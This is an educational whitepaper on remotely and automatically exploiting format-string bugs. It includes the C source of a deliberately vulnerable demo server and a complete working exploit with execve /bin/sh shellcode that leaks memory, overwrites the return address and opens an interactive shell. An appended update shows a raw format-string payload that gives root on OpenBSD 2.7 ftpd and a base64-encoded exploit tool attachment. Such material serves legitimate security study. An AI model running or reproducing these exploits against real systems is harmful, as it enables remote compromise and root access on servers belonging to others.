|
COMMAND Automated remote format bug exploit whitepaper SYSTEMS AFFECTED All PROBLEM Howto remotely and automatically exploit a format bug Frédéric Raynal <pappy@miscmag.com> Exploiting a format bug remotely can be something very funny. It allows to very well understand the risks associated to this kind of bugs. We won\'t explain here the basis for this vulnerability (i.e. its origin or the building of the format string) since there are already lots of articles available (see the bibliography at the end). --[ 1. Context : the vulnerable server ]-- We will use very minimalist server (but nevertheless pedagogic) along this paper. It requests a login and password, then it echoes its inputs. Its code is available in appendix 1. To install the fmtd server, you\'ll have to configure inetd so that connections to port 12345 are allowed: # /etc/inetd.conf 12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fmtd Or with xinetd: # /etc/xinetd.conf service fmtd { type = UNLISTED user = raynal group = users socket_type = stream protocol = tcp wait = no server = /tmp/fmtd port = 12345 only_from = 192.168.1.1 192.168.1.2 127.0.0.1 } Then restart your server. Don\'t forget to change the rules of your firewall if you are using one. Now, let\'s see how this server is working: $ telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is \'^]\'. login: raynal password: secret hello world hello world ^] telnet> quit Connection closed. Let\'s have a look at the log file: Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0) Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255 During the previous example, we simply enter a login, a password and a sentence before closing the connexion. But what happens when we feed the server with format instructions: telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is \'^]\'. login: raynal password: secret %x %x %x %x d 25207825 78252078 d782520 The instructions \"%x %x %x %x\" being executed, it shows that our server is vulnerable to a format bug. <off topic> In fact, all programs acting like that are not vulnerable to a format bug: int main( int argc, char ** argv ) { char buf[8]; sprintf( buf, argv[1] ); } Using %hn to exploit this leads to an overflow: the formatted string is getting greater and greater, but since no control is performed on its length, an overflow occurs. </off topic> Looking at the sources reveals that the troubles come from vul() function: ... snprintf(tmp, sizeof(tmp)-1, buf); ... since the buffer <buf> is directly available to a malicious user, the latter is allowed to take control of the server ... and thus gain a shell with the privileges of the server. --[ 2. Requested parameters ]-- The same parameters as a local format bug are requested here: * the offset to reach the beginning of the buffer ; * the address of a shellcode placed somewhere is the server\'s memory ; * the address of the vulnerable buffer ; * a return address. The exploit is provided as example in annexe 2. The following parts of this article explain how it was designed. Here are some variables used in the exploit: * sd : the socket between client (exploit) and the vulnerable server ; * buf : a buffer to read/write some data ; * read_at : an address in the server\'s stack ; * fmt : format string sent to the server. --[ 2.1 Guessing the offset ]-- This parameter is always necessary for the exploitation of this kind of bug, and its determination works in the same way as with a local exploitation: telnet bosley 12345 Trying 192.168.1.2... Connected to bosley. Escape character is \'^]\'. login: raynal password: secret AAAA%1$x AAAAa AAAA%2$x AAAA41414141 Here, the offset is 2. It is very easy to guess it automatically, and that is what the function get_offset() aims at. It sends the string \"AAAA%<val>$x\" to the server. If the offset is <val>, then the server answers with the string \"AAAA41414141\" : #define MAXOFFSET 255 for (i = 1; i<MAX_OFFSET && offset == -1; i++) { snprintf(fmt, sizeof(fmt), \"AAAA%%%d$x\", i); write(sock, fmt, strlen(fmt)); memset(buf, 0, sizeof(buf)); sleep(1); read(sock, buf, sizeof(buf)) if (!strcmp(buf, \"AAAA41414141\")) offset = i; } --[ 2.2 Guessing the address of the shellcode in the stack ]-- If one has to place a shellcode in the memory of the server, it then has to guess its address. It can be placed in the vulnerable buffer, or in any other place: we don\'t care due to format bug :) For instance, some ftp servers allowed to store it in the password (PASS), without not too many checks for anonymous or ftp account. Here, our server works that way. -- --[ Making a format bug a debugger ]-- -- We aim at finding the address of the shellcode placed in the memory of the server. So, we will transform the remote server in remote debugger ! Using the format string \"%s\", one is allowed to read until the buffer is full or a NULL character is met. So, by sending successively \"%s\" to the server, the exploit is able to dump locally the memory of the remote process: <addr>%<offset>$s In the exploit, it is performed in 2 steps: 1. The function get_addr_as_char(u_int addr, char *buf) converts addr into char : *(u_int*)buf = addr; 2. then, the next 4 bytes contains the format instruction. The format string is then sent to the remote server: get_addr_as_char(read_at, fmt); snprintf(fmt+4, sizeof(fmt)-4, \"%%%d$s\", offset); write(sd, fmt, strlen(fmt)); The client reads a string at <addr>. If it contains no shellcode, the next reading is performed at this same address, to which one adds the amount of read bytes (i.e. the return value of read()). However, all the <len> read characters should not be considered. The vulnerable instruction on the server is something like: sprintf(out, in); To build the out buffer, sprintf() starts by parsing the <in> string. The first four bytes are the address we intend to read at: they are simply copied to the output buffer. Then, a format instruction is met and interpreted. Hence, we have to remove these 4 bytes: while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += (len-4+1); [ ... ] } -- --[ What to look for ? ]-- -- Another problem is how to identify the shellcode in memory. If one just looks for all its bytes in the remote memory, there is a risk to miss it. Since the buffer is ended by a NULL byte, the string placed just before can contain lots of NOPs. Hence the reading of the shellcode can be split among 2 readings. To avoid this, if the amount of read characters is equal to the size of the buffer, the exploit \"forgets\" the last sizeof(shellcode) bytes read from the server. Thus, the next reading is performed at: while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += len; if (len == sizeof(buf)) read_at-=strlen(shellcode); [ ... ] } This case has never been tested ... so I don\'t guarantee it works ;-/ -- --[ Guessing the exact address of the shellcode ]-- -- Pattern matching in a string is performed by the function: ptr = strstr(buf, pattern); It returns a pointer to the parsed string addressing the first byte of the searched pattern. Thus, the position of the shellcode is: addr_shellcode = read_at + (ptr-buf); Except that the buffer contains bytes we need to ignore !!! As we have previously noticed while exploring the stack, the first four bytes of the output buffer are in fact the address we just read at: addr_shellcode = read_at + (ptr-buf) - 4; -- --[ shellcode : a summary ]-- -- Sometimes, some code is worthier than long explanations: while( (len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); if (len == sizeof(buf)) { read_at-=strlen(shellcode); } memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } --[ 2.3 Guessing the return address ]-- The last (but not the least) parameter to determine is the return address. We need to find a valid return address in the remote process stack to overwrite it with the one of the shellcode. We won\'t explain here how the functions are called in C, but simply remind how variables and parameters are placed in the stack. Firstly the arguments are placed in the stack from the last one (upper) to the first one (most down). Then, instructions registers (%eip) is saved on the stack, followed by the base pointer register (%ebp) which indicates the beginning of the memory for the current function. After this address, the memory is used for the local variables. When the function ends, %eip is popped and clean up is made on the stack. This just means that the registers %esp and %ebp are popped according to the calling function. The stack is not cleaned up in any way. So, our goal is to find a place where the register %eip is saved. Two steps are used: 1. find the address of the input buffer 2. find the return address of the function the vulnerable buffer belongs to. Why do we need to look for the address of the buffer ? All pairs (saved ebp, saved eip) that we could find in the stack are not good for our purpose. The stack is never really cleaned up between different calls. So it contains values used for previous calls, even if they won\'t really be used by the process. Thus, by firstly guessing the address of the vulnerable buffer, we have a point above which all pairs (saved ebp, saved eip) are valid since the vulnerable buffer is itself on the top of the stack :) -- --[ Guessing the address of the buffer ]-- -- The input buffer is easily identified in the remote memory: it is a mirror for the characters we feed it with. The server fmtd copies them without any modification (Warning: if some characters were placed by the server before its answer, they should be considered). So, we simply have to look at the exact copy of our format string in the server\'s memory: while((len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, fmt))) { addr_buffer = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } -- --[ Guessing the return address ]-- -- On most of the Linux distributions, the top of the stack is at 0xc0000000. This is not true for all the distributions: Caldera put it at 0x80000000 (BTW, if someone can explain me why ?). The space reserved in it depends on the needs of the program (mainly local variables). These are usually placed in the range 0xbfffXXXX, where <XX> is an undefined byte. On the contrary, the instruction of the process (.text section) are loaded from 0x08048000. So, we have to read the remote stack to find something that looks like: Top of the stack 0x0804XXXX 0xbfffXXXX Due to little endian, this is equivalent to looking for the string 0xff 0xbf XX XX 0x04 0x08. As we have seen, we don\'t have to consider the first 4 bytes of the returned string: i = 4; while (i<len-5 && addr_ret == -1) { if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf && buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) { addr_ret = read_at + i - 2 + 4 - 4; fprintf (stderr, \"[ret addr is: 0x%x (%d) ]\\n\", addr_ret, len); } i++; } if (addr_ret != -1) break; The variable <addr_ret> is initialized with a very complex formula: * addr_ret : the address we just read ; * +i : the offset in the string we are looking for the pattern (we can\'t use strstr() since our pattern has wildcards - undefined bytes XX) ; * -2 : the first bytes we discover in the stack are ff bf, but he full word (i.e. saved %ebp) is written on 4 bytes. The -2 is for the 2 \"least bytes\" placed at the beginning of the word XX XX ff bf ; * +4 : this modification is due to the return address which is 4 bytes above the saved %ebp ; * -4 : as you should be used to now, the first 4 bytes which are a copy of the read address. --[ 3. Exploitation ]-- So, since we now have all the requested parameters, the exploitation in itself is not very difficult. We just have to replace the return address of the vulnerable function (addr_ret) with the one of the shellcode (addr_shellcode). The function fmtbuilder is taken from [5] and build the format string sent to the server: build_hn(buf, addr_ret, addr_shellcode, offset, 0); write(sd, buf, strlen(buf)); Once the replacement is performed in the remote stack, we just have to return from the vul() function. We then send the \"quit\" command specially intended to that ;-) strcpy(buf, \"quit\"); write(sd, buf, strlen(buf)); Lastly, the function interact() plays with the file descriptors to allow us to use the gained shell. In the next example, the exploit is started from bosley to charly : $ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01 Using IP 192.168.1.1 Connected to 192.168.1.1 login sent [toto] (4) passwd (shellcode) sent (10) [Found offset = 6] [buffer addr is: 0xbfffede0 (12) ] buf = (12) e0 ed ff bf e0 ed ff bf 25 36 24 73 [shell addr is: 0xbffff5f0 (60) ] buf = (60) e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 [ret addr is: 0xbffff5ec (60) ] Building format string ... Sending the quit ... bye bye ... Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown uid=500(raynal) gid=100(users) exit $ --[ 4. Conclusion ]-- Less format bugs are discovered ... fortunately. As we just saw, the automation is not very difficult. The library fmtbuilmder (see the bibliography) also provides the necessary tools for that. Here, the exploit starts its reading of the remote memory to an arbitrary value. But if it is too low, the server crashes. The exploit can be modified to explore the stack from the top to the bottom... but the strategies used to identify some values have then to be slightly adapted. The difficulty seems a bit greater. The reading then starts from the top of the stack 0xc0000000-4. One have to change the value of the variable addr_stack. Moreover, the line read_at+=(len-4+1); have to be replaced with read_at-=4; In this way, the argument -a is useless. The disadvantage of this solution is that the return address is below the input buffer. But all that is below this buffer comes from function that are no more in the stack: these data are written in a free region of the stack, so they can be modified at any time by the process. So, the search of the return address has to be change (several can be found above the vulnerable buffer ... but we can\'t control whether they will be really used). --[ Greetings ]-- Denis Ducamp and Renaud Deraison for their comments/fixes. ------------------------------------------------------------------------ --[ Appendix 1 : the server side fmtd ]-- #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <unistd.h> #include <stdarg.h> #include <syslog.h> void respond(char *fmt,...); int vul(void) { char tmp[1024]; char buf[1024]; int len = 0; syslog(LOG_ERR, \"vul() -> tmp = 0x%x buf = 0x%x\\n\", tmp, buf); while(1) { memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); if ( (len = read(0, buf, sizeof(buf))) <= 0 ) { syslog(LOG_ERR, \"vul() -> error while reading input buf [%s] (%d)\", buf, len); exit(-1); } /* else syslog(LOG_INFO, \"vul() -> read %d bytes\", len); */ if (!strncmp(buf, \"quit\", 4)) { respond(\"bye bye ...\\n\"); return 0; } snprintf(tmp, sizeof(tmp)-1, buf); respond(\"%s\", tmp); } } void respond(char *fmt,...) { va_list va; char buf[1024]; int len = 0; va_start(va,fmt); vsnprintf(buf,sizeof(buf),fmt,va); va_end(va); len = write(STDOUT_FILENO,buf,strlen(buf)); /* syslog(LOG_INFO, \"respond() -> write %d bytes\", len); */ } int main() { struct sockaddr_in sin; int i,len = sizeof(struct sockaddr_in); char login[16]; char passwd[1024]; openlog(\"fmtd\", LOG_NDELAY | LOG_PID, LOG_LOCAL0); /* get login */ memset(login, 0, sizeof(login)); respond(\"login: \"); if ( (len = read(0, login, sizeof(login))) <= 0 ) { syslog(LOG_ERR, \"login -> error while reading login [%s] (%d)\", login, len); exit(-1); } else syslog(LOG_INFO, \"login -> read login [%s] (%d) bytes\", login, len); /* get passwd */ memset(passwd, 0, sizeof(passwd)); respond(\"password: \"); if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) { syslog(LOG_ERR, \"passwd -> error while reading passwd [%s] (%d)\", passwd, len); exit(-1); } else syslog(LOG_INFO, \"passwd -> read passwd [%x] (%d) bytes\", passwd, len); /* let\'s run ... */ vul(); return 0; } ------------------------------------------------------------------------ --[ Appendix 2 : the exploit side expl-fmtd ]-- #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <getopt.h> char verbose = 0, debug = 0; #define OCT( b0, b1, b2, b3, addr, str ) { \\ b0 = (addr >> 24) & 0xff; \\ b1 = (addr >> 16) & 0xff; \\ b2 = (addr >> 8) & 0xff; \\ b3 = (addr ) & 0xff; \\ if ( b0 * b1 * b2 * b3 == 0 ) { \\ printf( \"\\n%s contains a NUL byte. Leaving...\\n\", str ); \\ exit( EXIT_FAILURE ); \\ } \\ } #define MAX_FMT_LENGTH 128 #define ADD 0x100 #define FOUR sizeof( size_t ) * 4 #define TWO sizeof( size_t ) * 2 #define BANNER \"uname -a ; id\" #define MAX_OFFSET 255 int interact(int sock) { fd_set fds; ssize_t ssize; char buffer[1024]; write(sock, BANNER\"\\n\", sizeof(BANNER)); while (1) { FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); FD_SET(sock, &fds); select(sock + 1, &fds, NULL, NULL, NULL); if (FD_ISSET(STDIN_FILENO, &fds)) { ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(sock, buffer, ssize); } if (FD_ISSET(sock, &fds)) { ssize = read(sock, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(STDOUT_FILENO, buffer, ssize); } } return(-1); } u_long resolve(char *host) { struct hostent *he; u_long ret; if(!(he = gethostbyname(host))) { herror(\"gethostbyname()\"); exit(-1); } memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; } int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; /* <locaddr> : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, \"[ locaddr ]\"); sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */ \"%c%c%c%c\" /* + 1 for the ending \\0 */ \"%c%c%c%c\", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode ? */ OCT(b0, b1, b2, b3, retaddr, \"[ retaddr ]\"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; return snprintf(buf + sz, MAX_FMT_LENGTH, \"%%.%hdx%%%d$n%%.%hdx%%%d$hn\", low - TWO + start - base, offset, high - low + start, offset + 1); } void get_addr_as_char(u_int addr, char *buf) { *(u_int*)buf = addr; if (!buf[0]) buf[0]++; if (!buf[1]) buf[1]++; if (!buf[2]) buf[2]++; if (!buf[3]) buf[3]++; } int get_offset(int sock) { int i, offset = -1, len; char fmt[128], buf[128]; for (i = 1; i<MAX_OFFSET && offset == -1; i++) { snprintf(fmt, sizeof(fmt), \"AAAA%%%d$x\", i); write(sock, fmt, strlen(fmt)); memset(buf, 0, sizeof(buf)); sleep(1); if ((len = read(sock, buf, sizeof(buf))) < 0) { fprintf(stderr, \"Error while looking for the offset (%d)\\n\", len); close(sock); exit(EXIT_FAILURE); } if (debug) fprintf(stderr, \"testing offset = %d fmt = [%s] buf = [%s] len = %d\\n\", i, fmt, buf, len); if (!strcmp(buf, \"AAAA41414141\")) offset = i; } return offset; } char *shellcode = \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\" \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\" \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"; int main(int argc, char **argv) { char *ip = \"127.0.0.1\", *ptr; struct sockaddr_in sck; u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */ u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1; char buf[1024], fmt[128], c; int port = 12345, offset = -1; int sd, len, i; while ((c = getopt(argc, argv, \"dvi:p:a:o:\")) != -1) { switch (c) { case \'i\': ip = optarg; break; case \'p\': port = atoi(optarg); break; case \'a\': addr_stack = strtoul(optarg, NULL, 16); break; case \'o\': offset = atoi(optarg); break; case \'v\': verbose = 1; break; case \'d\': debug = 1; break; default: fprintf(stderr, \"Unknwon option %c (%d)\\n\", c, c); exit (EXIT_FAILURE); } } /* init the sockaddr_in */ fprintf(stderr, \"Using IP %s\\n\", ip); sck.sin_family = PF_INET; sck.sin_addr.s_addr = resolve(ip); sck.sin_port = htons (port); /* open the socket */ if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) { perror (\"socket()\"); exit (EXIT_FAILURE); } /* connect to the remote server */ if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) { perror (\"Connect() \"); exit (EXIT_FAILURE); } fprintf (stderr, \"Connected to %s\\n\", ip); if (debug) sleep(10); /* send login */ memset (buf, 0x0, sizeof(buf)); len = read(sd, buf, sizeof(buf)); if (strncmp(buf, \"login\", 5)) { fprintf(stderr, \"Error: no login asked [%s] (%d)\\n\", buf, len); close(sd); exit(EXIT_FAILURE); } strcpy(buf, \"toto\"); len = write (sd, buf, strlen(buf)); if (verbose) fprintf(stderr, \"login sent [%s] (%d)\\n\", buf, len); sleep(1); /* passwd: shellcode in the buffer and in the remote stack */ len = read(sd, buf, sizeof(buf)); if (strncmp(buf, \"password\", 8)) { fprintf(stderr, \"Error: no password asked [%s] (%d)\\n\", buf, len); close(sd); exit(EXIT_FAILURE); } write (sd, shellcode, strlen(shellcode)); if (verbose) fprintf (stderr, \"passwd (shellcode) sent (%d)\\n\", len); sleep(1); /* find offset */ if (offset == -1) { if ((offset = get_offset(sd)) == -1) { fprintf(stderr, \"Error: can\'t find offset\\n\"); fprintf(stderr, \"Please, use the -o arg to specify it.\\n\"); close(sd); exit(EXIT_FAILURE); } if (verbose) fprintf(stderr, \"[Found offset = %d]\\n\", offset); } /* look for the address of the shellcode in the remote stack */ memset (fmt, 0x0, sizeof(fmt)); read_at = addr_stack; get_addr_as_char(read_at, fmt); snprintf(fmt+4, sizeof(fmt)-4, \"%%%d$s\", offset); write(sd, fmt, strlen(fmt)); sleep(1); while((len = read(sd, buf, sizeof(buf))) > 0 && (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) { if (debug) fprintf(stderr, \"Read at 0x%x (%d)\\n\", read_at, len); /* the shellcode */ if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; fprintf (stderr, \"[shell addr is: 0x%x (%d) ]\\n\", addr_shellcode, len); fprintf(stderr, \"buf = (%d)\\n\", len); for (i=0; i<len; i++) { fprintf(stderr,\"%.2x \", (int)(buf[i] & 0xff)); if (i && i%20 == 0) fprintf(stderr, \"\\n\"); } fprintf(stderr, \"\\n\"); } /* the input buffer */ if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) { addr_buffer = read_at + (ptr-buf) - 4; fprintf (stderr, \"[buffer addr is: 0x%x (%d) ]\\n\", addr_buffer, len); fprintf(stderr, \"buf = (%d)\\n\", len); for (i=0; i<len; i++) { fprintf(stderr,\"%.2x \", (int)(buf[i] & 0xff)); if (i && i%20 == 0) fprintf(stderr, \"\\n\"); } fprintf(stderr, \"\\n\\n\"); } /* return address */ if (addr_buffer != -1) { i = 4; while (i<len-5 && addr_ret == -1) { if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf && buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) { addr_ret = read_at + i - 2 + 4 - 4; fprintf (stderr, \"[ret addr is: 0x%x (%d) ]\\n\", addr_ret, len); } i++; } } read_at += (len-4+1); if (len == sizeof(buf)) { fprintf(stderr, \"Warning: this has not been tested !!!\\n\"); fprintf(stderr, \"len = %d\\nread_at = 0x%x\", len, read_at); read_at-=strlen(shellcode); } get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } /* send the format string */ fprintf (stderr, \"Building format string ...\\n\"); memset(buf, 0, sizeof(buf)); build_hn(buf, addr_ret, addr_shellcode, offset, 0); write(sd, buf, strlen(buf)); sleep(1); read(sd, buf, sizeof(buf)); /* call the return while quiting */ fprintf (stderr, \"Sending the quit ...\\n\"); strcpy(buf, \"quit\"); write(sd, buf, strlen(buf)); sleep(1); interact(sd); close(sd); return 0; } ------------------------------------------------------------------------ --[ Bibliography ]-- 1. More info on format bugs par P. \"kalou\" Bouchareine (http://www.hert.org/papers/format.html) 2. Format Bugs: What are they, Where did they come from,... How to exploit them par lamagra (lamagra@digibel.org <lamagra@digibel.org>) 3. Éviter les failles de sécurité dès le développement d\'une application - 4 : les chaînes de format par F. Raynal, C. Grenier, C. Blaess (http://minimum.inria.fr/~raynal/index.php3?page=121 ou http://www.linuxfocus.org/Francais/July2001/article191.shtml) 4. Exploiting the format string vulnerabilities par scut (team TESO) (http://www.team-teso.net/articles/formatstring) 5. fmtbuilder-howto par F. Raynal et S. Dralet (http://minimum.inria.fr/~raynal/index.php3?page=501) ------------------------------------------------------------------------ Update (22 April 2002) ====== Fredrik Widlund [fredrik.widlund@defcom.com] added : \"fox\", is a tool I wrote for automatically exploiting any (or most) format bugs, locally and remotely. It runs on OpenBSD and not ported to other platforms, though it should be very straighforward. The only requirement is that you get the actual printed string back to the program, in the case of the OpenBSD 2.7 ftpd you need to proxy this through a small shell program since the output occurs in the process listing. This should work for exploiting bugs on most little-endian 32bit-machines like the i386 providing you supply the shellcode. Included is a trivial local example, and another on how to point it at the OpenBSD 2.7 ftpd to remotely get a root prompt instead of the ftp banner ... Exploiting OpenBSD 2.7 ftp server Input has to be < 256 characters, working offsets are -18 and -2 Ex: root@wolf> ./fox -s 220 -p 50 -o-18 ex2/ex2 alignment 0 chars before argument 111 chars before insert 0 argument offset 9 argument pointer offset 0 argument address 0xdfbfd15c esp 0xdfbfd138 uid=0(root) gid=0(wheel) groups=0(wheel) root@wolf> nc 127.0.0.1 21 id uid=0(root) gid=0(wheel) groups=0(wheel) uname -a OpenBSD wolf 2.7 GENERIC#0 i386 cat /etc/hosts 127.0.0.1 AAAA<81>ð<81>Ð<81>¿<81>ßBBBB<81>ñ<81>Ð<81>¿<81>ßCCCC<81>ò<81>Ð<81>¿ <81>ßDDDD<81>ó<81>Ð<81>¿<81>ß%p%p%p%p%p%p%p%p%p%0323x%hn%0287x%hn%0238x%hn%0288x%hn<81>ëI<8B>$<81>Ã1<81>ÉQ<83><81>ÀP<89><81>Ã<83><81>ÃS<89>?<88>K<83><89>X<88>K <83><81>Ã<89><88>K<83><89>HP<81>¸;UUU%;<81>ª<81>ª<81>ª<81>Í<80>PP<81>¸UUU%<81>ª <81>ª<81>ª<81>Í<80><81>è<81>²<81>ÿ<81>ÿ<81>ÿ<81>ë<81>´[CODE_BY_LONEWOLF]/bin/shF-cGG/bin/shAxxxxxxxxxxxxx exit root@wolf> -------------------------------Cut---------------------------------------------- Content-Type: application/x-gzip; name=\"fox0.1.tgz\" Content-Transfer-Encoding: base64 Content-Description: format bug exploiter Content-Disposition: attachment; filename=\"fox0.1.tgz\" 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 